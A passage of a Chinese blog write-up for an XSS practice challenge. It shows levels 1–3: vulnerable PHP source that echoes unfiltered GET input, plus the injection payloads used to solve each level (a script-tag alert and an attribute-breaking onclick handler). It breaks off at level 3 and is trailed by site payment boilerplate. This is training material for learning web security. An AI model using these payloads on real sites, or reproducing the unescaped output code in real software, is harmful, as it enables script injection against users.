XSS闯关小游戏(level1~13)

level1

  • 源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["name"];
    echo "<h2 align=center>欢迎用户".$str."</h2>";
    ?>
    

    通过源代码发现此关没有对输入的name值做任何过滤,直接echo出来

  • 寻找输入点和输出点

    image-20230203115953719

  • 构造payload

    <script>alert(1)</script>
    

    image-20230203120216007

level2

  • 源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level2.php method=GET>
    <input name=keyword  value="'.$str.'">
    <input type=submit name=submit value="搜索"/>
    </form>
    </center>';
    ?>
    <center><img src=level2.png></center>
    <?php 
    

    此关使用了htmlspecialchars()函数---->把html标签转化为浏览器不能识别的字符,利用这个函数转化以后,html标签就可以在浏览器原样输出了。

  • 输入输出点

    image-20230203120955658

  • 构建payload

    1" οnclick="alert(1)
    

    image-20230203121107505

level3

  • 查看页面源代码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
    <form action=level3.php method=GET>
    <input name=keyword  value='".htmlspecialchars($str)."'>
    <input type=submit name=submit value=搜索 />
    </form>
    </center>";
    ?>
    

    可以发现在<H2><input>处都使用了htmlspecialchars()函数

  • 输入输出点

    image-20230203121508053

  • 构建payload

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值